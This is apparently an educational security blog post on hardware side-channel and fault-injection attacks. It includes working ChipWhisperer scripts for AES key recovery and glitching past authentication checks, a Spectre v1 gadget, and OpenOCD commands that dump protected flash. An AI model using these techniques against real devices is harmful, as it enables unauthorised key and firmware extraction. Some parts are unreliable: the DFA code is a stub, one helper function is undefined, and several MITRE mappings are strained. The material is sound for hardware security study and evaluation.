TL;DR — Side-channel attacks exploit physical leakage (power consumption, electromagnetic emissions, timing) to extract cryptographic keys without breaking the math, while fault injection attacks (voltage glitching, clock glitching, EM pulses) force hardware into incorrect states to bypass secure boot, extract secrets from HSMs, and defeat cryptographic protections — both attack classes are practical with open-source tooling like ChipWhisperer and require no vulnerability in the algorithm itself.
Executive Summary
Modern cryptographic algorithms — AES, RSA, ECC — are computationally secure. Breaking AES-256 by brute force would take longer than the age of the universe with all computational resources on Earth. Yet cryptographic implementations are broken regularly, not by attacking the mathematics, but by attacking the physical hardware implementing those operations. Side-channel attacks exploit the fact that physical computations leave measurable traces: power consumption varies depending on the data being processed, electromagnetic fields emanate from every switching transistor, and execution time differs based on data-dependent branch decisions. Fault injection attacks take a more aggressive approach: by deliberately disturbing the device's operating environment — dropping the supply voltage for nanoseconds, glitching the clock signal, or delivering a focused electromagnetic pulse — attackers force the processor into incorrect states, causing it to skip instructions, produce wrong outputs, or expose secrets that would otherwise remain protected.
These attack classes, once confined to nation-state signals intelligence agencies and academic cryptography labs, are now accessible to independent researchers through open-source hardware platforms like the ChipWhisperer from NewAE Technology. A complete lab setup for power analysis and voltage glitching attacks costs under $500 and can break real AES implementations in minutes.
This post covers the full landscape of hardware security attacks: power analysis (SPA and DPA), electromagnetic side channels, cache timing attacks (Spectre/Meltdown context), voltage glitching to bypass secure boot, EM fault injection, differential fault analysis against cryptographic implementations, JTAG security bypass, attacks against TrustZone secure world and Intel SGX enclaves, and the complete ChipWhisperer workflow for Correlation Power Analysis (CPA) against an AES implementation. This knowledge is essential for hardware security researchers, HSM evaluators, embedded systems security engineers, and penetration testers conducting hardware assessments.
Hardware Security Fundamentals
The Trust Hierarchy
Modern hardware security builds a chain of trust from the silicon up:
┌─────────────────────────────────────────────────────────┐│ Application Layer │├─────────────────────────────────────────────────────────┤│ OS / Hypervisor / TEE Runtime │├──────────────────────┬──────────────────────────────────┤│ Normal World │ Secure World (TrustZone) ││ (Rich OS) │ or Secure Enclave (SGX) │├──────────────────────┴──────────────────────────────────┤│ Secure Boot (ROM → BL1 → BL2) │├─────────────────────────────────────────────────────────┤│ Hardware Root of Trust (PUF, OTP fuses) │├─────────────────────────────────────────────────────────┤│ Silicon (CPU + Crypto Accelerator) │└─────────────────────────────────────────────────────────┘Each layer is supposed to be verified by the layer below it. Secure boot ensures only signed firmware runs. TrustZone creates a hardware-enforced boundary between a "Normal World" (Android, Linux) and a "Secure World" (TrustOS, OP-TEE). Intel SGX creates encrypted memory regions (enclaves) that even a compromised OS cannot read.
Side-channel and fault injection attacks target the silicon layer — the foundation of this entire trust hierarchy. When the foundation is compromised, the entire chain of trust collapses.
Threat Model
| Attack Class | Physical Access Required | Equipment Cost | Target |
|---|---|---|---|
| Simple Power Analysis (SPA) | Yes (power trace) | $300 (ChipWhisperer Nano) | Single-key operations |
| Differential Power Analysis (DPA) | Yes (many power traces) | $300-600 | AES, DES, RSA |
| Electromagnetic Analysis (EMA) | Yes (EM probe) | $500-2000 | Any crypto operation |
| Cache Timing (Spectre/Meltdown) | Remote (JS, local) | None | Memory isolation |
| Voltage Glitching | Yes (hardware mod) | $200-500 | Secure boot, authentication |
| Clock Glitching | Yes (hardware mod) | $200-500 | Boot, authentication |
| EM Fault Injection (EMFI) | Yes (EM probe) | $1000-5000 | Secure boot, crypto |
| Laser Fault Injection | Yes (decapped chip) | $50,000+ | Most secure targets |
Power Analysis Attacks
Simple Power Analysis (SPA)
SPA involves examining a single power trace to extract information. During RSA private key operations, the traditional square-and-multiply algorithm processes each key bit sequentially: square for 0, square-and-multiply for 1. These operations have different power signatures visible in a single trace.
# Visualizing a power trace from ChipWhispererimport chipwhisperer as cwimport numpy as npimport matplotlib.pyplot as plt # Connect to ChipWhisperer hardwarescope = cw.scope()target = cw.target(scope)scope.default_setup() # Capture a single power trace during AES encryptionkey = bytearray([0x2b, 0x7e, 0x15, 0x16, 0x28, 0xae, 0xd2, 0xa6, 0xab, 0xf7, 0x15, 0x88, 0x09, 0xcf, 0x4f, 0x3c])plaintext = bytearray([0x32, 0x43, 0xf6, 0xa8, 0x88, 0x5a, 0x30, 0x8d, 0x31, 0x31, 0x98, 0xa2, 0xe0, 0x37, 0x07, 0x34]) target.set_key(key)target.simpleserial_write('p', plaintext)scope.arm()target.simpleserial_write('e', plaintext) # Trigger encryptiontrace = scope.get_last_trace() # Plot the power traceplt.figure(figsize=(15, 5))plt.plot(trace)plt.xlabel('Time (samples)')plt.ylabel('Power consumption (ADC counts)')plt.title('Single AES Encryption Power Trace')plt.axvspan(0, 100, alpha=0.2, color='red', label='AddRoundKey')plt.axvspan(100, 200, alpha=0.2, color='green', label='SubBytes')plt.axvspan(200, 300, alpha=0.2, color='blue', label='ShiftRows')plt.legend()plt.savefig('aes_power_trace.png') # You can often see the 10 AES rounds as repeating patterns# Each round: SubBytes, ShiftRows, MixColumns, AddRoundKeyDifferential Power Analysis (DPA) — Full Attack
DPA is a statistical attack that correlates power consumption measurements with hypothetical key bits. Pioneered by Kocher, Jaffe, and Jun in 1999:
# Complete DPA/CPA attack on AES-128 using ChipWhispererimport chipwhisperer as cwimport chipwhisperer.analyzer as cwaimport numpy as npfrom chipwhisperer.analyzer.attacks.cpa import CPASimpleLoopfrom chipwhisperer.analyzer.attacks.models.aes128_8bit import AES128_8bit # Step 1: Collect traces with random plaintextsNUM_TRACES = 5000 scope = cw.scope()target = cw.target(scope, cw.targets.SimpleSerial)scope.default_setup()scope.gain.gain = 45scope.adc.samples = 5000 project = cw.create_project("aes_attack.cwp", overwrite=True) for i in range(NUM_TRACES): key = bytearray([0x2b, 0x7e, 0x15, 0x16, 0x28, 0xae, 0xd2, 0xa6, 0xab, 0xf7, 0x15, 0x88, 0x09, 0xcf, 0x4f, 0x3c]) plaintext = bytearray(np.random.randint(0, 256, 16, dtype=np.uint8)) cw.capture_trace(scope, target, plaintext, key) trace = cw.Trace(scope.get_last_trace(), plaintext, bytearray(0), key) project.traces.append(trace) if i % 500 == 0: print(f"[*] Collected {i}/{NUM_TRACES} traces") project.save() # Step 2: Run Correlation Power Analysis (CPA)# The leakage model: Hamming weight of SubBytes output# HW(SBox(pt[byte_idx] XOR key[byte_idx]))# Higher Hamming weight → more bits switching → more power consumed attack = cwa.cpa( project, algorithm=CPASimpleLoop, leakmodel=AES128_8bit(AES128_8bit.LEAK_HW_SBOXOUT_FIRSTROUND)) results = attack.run()recovered_key = results.best_guesses() print("[+] CPA Attack Results:")print(f" Recovered key: {bytes(recovered_key).hex()}")print(f" Known key: 2b7e151628aed2a6abf7158809cf4f3c") # Verifyif bytes(recovered_key) == bytes.fromhex("2b7e151628aed2a6abf7158809cf4f3c"): print("[+] KEY RECOVERY SUCCESSFUL!")The mathematical principle behind CPA: for each of 256 hypotheses for each of 16 key bytes, compute the predicted power consumption (via the leakage model) and correlate with the measured power. The highest Pearson correlation coefficient corresponds to the correct key byte guess. This recovers the full 128-bit AES key byte by byte.
Voltage Glitching — Bypassing Secure Boot
Voltage glitching involves briefly dropping the supply voltage to a processor, causing it to execute instructions incorrectly. The target: the secure boot verification code path.
flowchart TD
A[Power On] --> B[BootROM Executes]
B --> C{Verify Signature of BL1}
C -->|Valid| D[Load BL1]
C -->|Invalid| E[Boot Failure / Lockout]
F[Voltage Glitch at Precise Timing] -.->|Corrupt comparison result| C
C -->|Glitch causes verification to incorrectly return 'Valid'| D
D --> G[Execute Attacker's Firmware]
G --> H[Root Access Achieved]
style F fill:#ff6b6b,color:#fff
style H fill:#51cf66,color:#fffChipWhisperer Voltage Glitching Setup
# Voltage glitching with ChipWhisperer to bypass authentication checkimport chipwhisperer as cwimport time # ChipWhisperer Pro or Husky for glitchingscope = cw.scope(cw.scopes.OpenADC)target = cw.target(scope) # Configure glitch modulescope.glitch.clk_src = "clkgen"scope.glitch.output = "glitch_only" # Only output glitch pulsescope.glitch.trigger_src = "ext_single"scope.glitch.width = 10 # Glitch pulse width (in clock cycles)scope.glitch.offset = 0 # Offset from trigger # Target configuration# Glitch parameters to sweepWIDTH_RANGE = range(5, 50, 1) # Pulse width in cyclesOFFSET_RANGE = range(-50, 50, 1) # Timing offset def attempt_glitch(width, offset): """Attempt a single glitch with given parameters""" scope.glitch.width = width scope.glitch.offset = offset # Reset target scope.io.nrst = 'low' time.sleep(0.01) scope.io.nrst = 'high' # Arm the glitch trigger scope.arm() # Attempt to read protected output target.flush() target.write("test_auth\n") response = target.read(timeout=500) return response # Sweep glitch parametersprint("[*] Starting glitch parameter sweep...")for width in WIDTH_RANGE: for offset in OFFSET_RANGE: response = attempt_glitch(width, offset) if "ACCESS DENIED" in response: pass # Normal — verification passed elif "AUTHENTICATED" in response: print(f"[+] GLITCH SUCCESS! width={width}, offset={offset}") print(f" Response: {response}") elif response == "" or "ERROR" in response: print(f"[~] Crash/reset at width={width}, offset={offset}") else: print(f"[?] Unusual response at width={width}, offset={offset}: {response}")Real-World Glitch: Bypassing STM32 Read-Out Protection
STM32 microcontrollers implement Read-Out Protection (RDP) level 1, which should prevent JTAG/SWD readback of flash memory. Researchers demonstrated that voltage glitching during the boot sequence could cause the RDP check to be skipped, allowing full flash readout. The attack exploited the fact that the RDP level is read from a specific flash memory location at startup — a precisely timed glitch during this read could cause the processor to misread the protection level as "unprotected."
Electromagnetic Fault Injection (EMFI)
EM fault injection induces faults by delivering a focused electromagnetic pulse to a specific region of the chip through its package, without requiring physical connection to the power supply rails:
# EMFI setup with custom pulse injector or commercial tools# (e.g., Langer EMFI probe, Riscure EM Fault Injector, PicoEMP open-source) # PicoEMP — Open source EM fault injector# Hardware: RP2040 + flyback transformer + copper probe# https://github.com/newaetech/chipshouter-picoemp # Automated EMFI scan over chip surface# Mount probe on XY plotter (3D printer frame) import serialimport timeimport struct PROBE_PORT = "/dev/ttyUSB0" class EMFIController: def __init__(self): self.probe = serial.Serial(PROBE_PORT, 115200, timeout=1) def move_to(self, x_mm, y_mm): """Move XY probe to position""" cmd = f"G0 X{x_mm:.2f} Y{y_mm:.2f}\n" self.probe.write(cmd.encode()) time.sleep(0.5) def fire_pulse(self, voltage=300, duration_ns=50): """Fire EM pulse at current position""" cmd = struct.pack('>HH', voltage, duration_ns) self.probe.write(b'FIRE' + cmd) return self.probe.read(1) # 0x01 = success, 0x00 = failed def scan_surface(self, x_range, y_range, step_mm=0.5): """Scan the chip surface systematically""" results = {} for x in [i * step_mm for i in range(int(x_range/step_mm))]: for y in [i * step_mm for i in range(int(y_range/step_mm))]: self.move_to(x, y) # Fire pulse and check target response result = self.fire_pulse() target_response = self.check_target_state() if target_response == "BYPASSED": print(f"[+] FAULT SUCCESS at ({x:.1f}, {y:.1f}) mm") results[(x,y)] = "SUCCESS" elif target_response == "CRASH": results[(x,y)] = "CRASH" return results def check_target_state(self): """Check if target is in expected secure state or has been bypassed""" # Send test command to target response = get_target_response() if "secure_boot_bypassed" in response: return "BYPASSED" elif not response: return "CRASH" return "NORMAL"EMFI is particularly powerful against secure enclaves: Plundervolt (CVE-2019-11157) demonstrated that Intel SGX enclaves could be compromised by undervolting the CPU during computation, causing the enclave's AES computations to produce wrong outputs from which the key could be extracted using differential fault analysis.
Cache Timing Attacks: Spectre and Meltdown
FLUSH+RELOAD Side Channel
Cache timing attacks exploit the fact that accessing data in CPU cache is ~4ns, while accessing DRAM is ~100ns. The FLUSH+RELOAD technique:
// FLUSH+RELOAD: Covert channel / side-channel via shared memory// Requirement: attacker and victim share mapped memory (e.g., shared library) #include <stdint.h>#include <stdlib.h>#include <string.h>#include <x86intrin.h> // For CLFLUSH, RDTSC #define CACHE_LINE_SIZE 64#define NUM_PROBES 256 uint8_t probe_array[NUM_PROBES * CACHE_LINE_SIZE]; // Flush target cache line from all CPU cachesvoid flush(void *addr) { _mm_clflush(addr);} // Measure access time for a memory address// Returns: approximate nanoseconds to accessuint64_t time_access(void *addr) { uint64_t t1 = __rdtsc(); volatile uint8_t val = *(uint8_t*)addr; uint64_t t2 = __rdtsc(); (void)val; return t2 - t1;} // The classic Spectre v1 exploit pattern// Bypasses bounds check via speculative executionuint8_t probe_array_spectre[256 * CACHE_LINE_SIZE];uint8_t temp = 0; // This function is called speculatively even when index is out of boundsvoid spectre_gadget(size_t index, uint8_t *array1, size_t array1_size) { if (index < array1_size) { // Branch is speculatively executed with OOB index // Speculatively read secret byte from out-of-bounds memory uint8_t secret = array1[index]; // Encode secret into cache state via probe array access temp &= probe_array_spectre[secret * CACHE_LINE_SIZE]; }} // After speculative execution, recover the secret via timinguint8_t read_memory_via_spectre(char *target_addr, uint8_t *array1, size_t array1_size) { // Flush probe array for (int i = 0; i < 256; i++) { flush(&probe_array_spectre[i * CACHE_LINE_SIZE]); } // Mistrain branch predictor with valid accesses for (int i = 0; i < 30; i++) { flush((uint8_t*)&array1_size); spectre_gadget(i % array1_size, array1, array1_size); } // Trigger speculative execution with out-of-bounds access flush((uint8_t*)&array1_size); size_t malicious_index = (size_t)(target_addr - (char*)array1); spectre_gadget(malicious_index, array1, array1_size); // Scan probe array for cache hits uint64_t min_time = UINT64_MAX; uint8_t best_guess = 0; for (int i = 0; i < 256; i++) { uint64_t t = time_access(&probe_array_spectre[i * CACHE_LINE_SIZE]); if (t < 100 && t < min_time) { // Cache hit threshold: ~100 cycles min_time = t; best_guess = (uint8_t)i; } } return best_guess;}PRIME+PROBE
PRIME+PROBE does not require shared memory and works across process/VM boundaries, making it applicable for cloud attacks:
- PRIME: Fill specific cache sets with attacker-controlled data
- Wait: Victim executes and evicts some attacker data from cache
- PROBE: Measure access time for each cache set — slower access = victim used that set
This leaks which cache sets the victim accessed, revealing memory access patterns that correlate with secret data (e.g., AES S-box lookups).
JTAG Security Bypass via Fault Injection
ARM debug authentication follows a challenge-response protocol using a debug access key. On secured devices, JTAG/SWD is "locked" — DPACC and APACC registers are inaccessible until authentication succeeds.
Voltage glitching can target the authentication state machine:
# OpenOCD probing a supposedly locked deviceopenocd -f interface/jlink.cfg -f target/stm32l4x.cfg # Expected response on locked device:# Error: JTAG scan chain interrogation failed: all ones# Error: Check JTAG interface, timings, target power, etc. # After successful fault injection bypassing debug authentication:# arm: target has armv7-m architecture# Listening on port 4444 for telnet connections # Once connected, dump flash> halt> dump_image /tmp/secure_firmware.bin 0x08000000 0x100000 # Read protected OTP storage> mdw 0x1FF80000 32 # This is how researchers extract firmware from "secured" devices# Used in security research, competitive intelligence, and vulnerability researchSGX and TrustZone Attacks
Plundervolt — Voltage Fault Injection Against SGX
Intel SGX (Software Guard Extensions) creates encrypted memory regions that even a root-privileged OS cannot read. Plundervolt (CVE-2019-11157, 2019) defeated SGX by undervolting the CPU's core voltage through the MSR (Model Specific Register) interface — which was accessible from ring 0 (OS level).
By precisely reducing voltage during SGX enclave computation, researchers could cause:
- AES-NI instructions to produce incorrect outputs
- Multiplications to return wrong results
- Memory operations to corrupt their targets
These computational errors, collected systematically, provided enough differential information to extract the AES key from a "secure" SGX enclave performing encryption. The root cause: the trust model assumes the electrical operating environment is correct; fault injection violates this assumption at the hardware level.
TrustZone Secure World Extraction
ARM TrustZone creates a hardware-enforced partition between Normal World (Android/Linux) and Secure World (Trusted Execution Environment). Attacks on TrustZone include:
graph TD
A[Normal World Attack] -->|Exploit Trustlet Vulnerability| B[Trusted Application Bug]
B -->|Privilege Escalation| C[Secure World Code Execution]
D[Physical Attack] -->|Fault Injection During Boot| E[Skip TrustZone Enable]
E -->|No Secure/Normal separation| F[Direct Memory Access to Secure World]
G[Side Channel] -->|Cache Timing on Shared Cache| H[Infer Secure World Memory Access Patterns]
H -->|Statistical Analysis| I[Extract Secure World Secrets]
style C fill:#ff6b6b,color:#fff
style F fill:#ff6b6b,color:#fff
style I fill:#ff9f43,color:#fffCACHEGRAB (2017) demonstrated timing-based extraction of AES keys from TrustZone secure world by timing cache accesses from the normal world. The ARM Cortex-A cache is shared between worlds, enabling cross-world cache timing side channels.
Full ChipWhisperer CPA Workflow
Step-by-Step Key Recovery
# Complete end-to-end CPA tutorial on ChipWhisperer hardware# Target: Arduino Uno running unprotected AES-128 (SimpleSerial protocol) import chipwhisperer as cwimport chipwhisperer.analyzer as cwaimport numpy as np # ==================== PHASE 1: CAPTURE ====================print("[*] Phase 1: Capturing power traces")scope = cw.scope()target = cw.target(scope)scope.default_setup()scope.gain.gain = 45scope.adc.samples = 5000scope.clock.clkgen_freq = 7.37e6 # 7.37 MHz target clock # Flash target firmware (SimpleSerial AES)# cw.program_target(scope, cw.programmers.STM32FProgrammer, # "simpleserial-aes-CWLITEARM.hex") NUM_TRACES = 2000project = cw.create_project("cpa_lab.cwp", overwrite=True)known_key = [0x2b, 0x7e, 0x15, 0x16, 0x28, 0xae, 0xd2, 0xa6, 0xab, 0xf7, 0x15, 0x88, 0x09, 0xcf, 0x4f, 0x3c] for i in range(NUM_TRACES): text = cw.bytearray(np.random.randint(0, 256, 16, dtype=np.uint8)) trace = cw.capture_trace(scope, target, text, cw.bytearray(known_key)) if trace: project.traces.append(trace) if (i+1) % 250 == 0: print(f" Captured {i+1}/{NUM_TRACES} traces") project.save()print(f"[+] Captured {len(project.traces)} traces") # ==================== PHASE 2: ANALYSIS ====================print("[*] Phase 2: Running CPA attack") # Use Hamming Weight of SubBytes output as leakage model# For byte k: HW( AES_Sbox[ plaintext[k] XOR key[k] ] )leak_model = cwa.leakage_models.sbox_output attack = cwa.cpa(project, leak_model)results = attack.run() # ==================== PHASE 3: RESULTS ====================print("[*] Phase 3: Analyzing results") # Best key guess per byterecovered_key = []for byte_num in range(16): byte_results = results.find_maximums(bnum=byte_num) best_key_byte = byte_results[0][0] # Highest correlation best_correlation = byte_results[0][2] recovered_key.append(best_key_byte) print(f" Byte {byte_num:2d}: 0x{best_key_byte:02X} " f"(corr={best_correlation:.4f}, " f"correct={'YES' if best_key_byte == known_key[byte_num] else 'NO'})") print(f"\n[+] Recovered key: {bytes(recovered_key).hex()}")print(f" Known key: {bytes(known_key).hex()}")print(f" Match: {bytes(recovered_key) == bytes(known_key)}")What the Statistics Look Like
In a successful CPA attack, the Pearson correlation for the correct key hypothesis rises dramatically above all wrong hypotheses as more traces are added. The x-axis represents the sample point in time; the y-axis represents the correlation coefficient. The correct key byte produces a prominent peak at the exact clock cycle when the SubBytes operation executes.
Differential Fault Analysis Against AES
DFA is a mathematical technique that uses pairs of (correct ciphertext, faulty ciphertext) to extract the AES key. By inducing a fault in round 9 of AES-128 (the penultimate round), the fault propagates through round 10 in a mathematically predictable way, and comparing the correct and faulty ciphertexts reveals the round key:
# Differential Fault Analysis against AES-128# Requires: pairs of (correct_ct, faulty_ct) where fault was induced at round 9# Reference: Piret & Quisquater, "A Differential Fault Attack technique # against SPN structures" (CHES 2003) from Crypto.Cipher import AESimport numpy as np def aes_inv_sbox(b): """AES inverse S-box""" INV_SBOX = [ 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, # ... full inverse S-box omitted for brevity ] return INV_SBOX[b] def dfa_attack(correct_ct, faulty_ct): """ Recover last round key from a pair of ciphertexts where a single-byte fault was induced in AES state before round 10 """ # The fault in one byte of the state before round 10 # propagates to affect 4 bytes of the ciphertext (due to MixColumns) # By analyzing which 4 bytes differ, we can determine: # 1. Which column was affected # 2. The value of the fault # Then enumerate all 256 possibilities for each affected key byte diff = bytes(a ^ b for a, b in zip(correct_ct, faulty_ct)) # Count differing bytes differing_positions = [i for i, d in enumerate(diff) if d != 0] print(f"[*] Differing bytes: {differing_positions}") # With a single-byte fault at round 9, exactly 4 bytes should differ if len(differing_positions) != 4: print(f"[!] Expected 4 differing bytes, got {len(differing_positions)}") print(f" This fault may not be usable for DFA") return None # For each of the 4 differing bytes, hypothesize all 256 key bytes key_candidates = {} for pos in differing_positions: candidates = [] for k in range(256): # Check if this key byte hypothesis is consistent c = correct_ct[pos] f = faulty_ct[pos] # Apply inverse operations and check for consistency val_c = aes_inv_sbox(c ^ k) val_f = aes_inv_sbox(f ^ k) delta = val_c ^ val_f # The fault delta must satisfy the MixColumns differential equation candidates.append((k, delta)) key_candidates[pos] = candidates return key_candidatesDefensive Countermeasures
| Attack | Countermeasure | Effectiveness |
|---|---|---|
| DPA/CPA | Masking (secret sharing in computation) | High if correctly implemented |
| DPA/CPA | Random insertion of dummy operations | Medium (leakage reduced but not eliminated) |
| DPA/CPA | Shuffling (randomize operation order) | Medium |
| Voltage Glitching | Voltage monitors (brown-out detection) | Medium |
| Voltage Glitching | Redundant computation with comparison | High |
| Clock Glitching | Clock integrity detection circuits | Medium |
| EMFI | Metal shielding / Faraday cage | Medium-High |
| Cache Timing | Constant-time implementations | High if strictly enforced |
| Cache Timing | Hardware mitigations (retpoline, IBRS) | Medium |
| JTAG Attacks | Fuse blow / debug authentication | Medium (bypassed by fault injection) |
| Laser FI | Active shield mesh on chip surface | High |
| All Physical | Security certification (FIPS 140-3, CC EAL) | Process guarantee, not absolute |
Conclusion
Side-channel and fault injection attacks represent the frontier of hardware security research, requiring the combination of electrical engineering, cryptography, and software security disciplines that few practitioners master together. Yet the tooling has democratized significantly: ChipWhisperer provides a complete hardware/software platform for power analysis and glitching attacks that would have required hundreds of thousands of dollars of equipment just fifteen years ago. PicoEMP makes electromagnetic fault injection accessible for under $50 in components.
The implications for deployed hardware are profound. Secure boot, TrustZone, SGX, TPMs, and hardware security modules — the foundational security primitives of modern computing — all rest on the assumption that the electrical environment is benign. Side-channel attacks demonstrate that computation itself leaks information through unavoidable physical side effects. Fault injection attacks demonstrate that adversaries can corrupt computations by manipulating that physical environment.
For hardware security evaluators and penetration testers, these attacks are standard techniques in assessments of cryptographic devices, smart cards, automotive ECUs, and IoT hardware. For product security engineers, they define the threat model that secure hardware must be designed to resist. FIPS 140-3 and Common Criteria EAL5+ certifications require demonstrating resilience against physical attacks. Understanding the attack techniques is prerequisite to building effective defenses.
The most important lesson from hardware security research: security must be designed into silicon, not bolted on afterward. Once a chip is manufactured, its physical side-channel leakage is fixed. Countermeasures at the algorithm level (masking, shuffling) add cost and complexity but cannot completely eliminate physical leakage. True hardware security requires co-design of the algorithm, implementation, and the silicon architecture from the ground up.
MITRE ATT&CK Mapping
| Technique ID | Technique Name | Hardware Attack Context |
|---|---|---|
| T1600 | Weaken Encryption | Fault injection to corrupt cryptographic operations (Plundervolt, DFA) |
| T1553.006 | Subvert Trust Controls: Code Signing | Bypassing secure boot via voltage/clock glitch to skip signature verification |
| T1195.003 | Supply Chain Compromise: Hardware | Inserting hardware implants with power analysis capabilities at manufacturing |
| T1040 | Network Sniffing | EM emanation capture of crypto keys from hardware (TEMPEST-class attacks) |
| T1621 | Multi-Factor Authentication Request Generation | Bypassing MFA chip hardware via fault injection on TOTP computation |
| T1059 | Command and Scripting Interpreter | Post-exploitation shell access after secure boot bypass via glitching |
| T1556.006 | Modify Authentication Process: Multi-Factor Authentication | Defeating hardware MFA tokens via power analysis of HMAC computation |
| T1205 | Traffic Signaling | Covert data exfiltration via power side channel (air-gapped systems) |
| T1539 | Steal Web Session Cookie | Cache timing attacks (Spectre) to extract session tokens from browser processes |
| T1212 | Exploitation for Credential Access | JTAG fault injection to extract stored credentials from secured flash |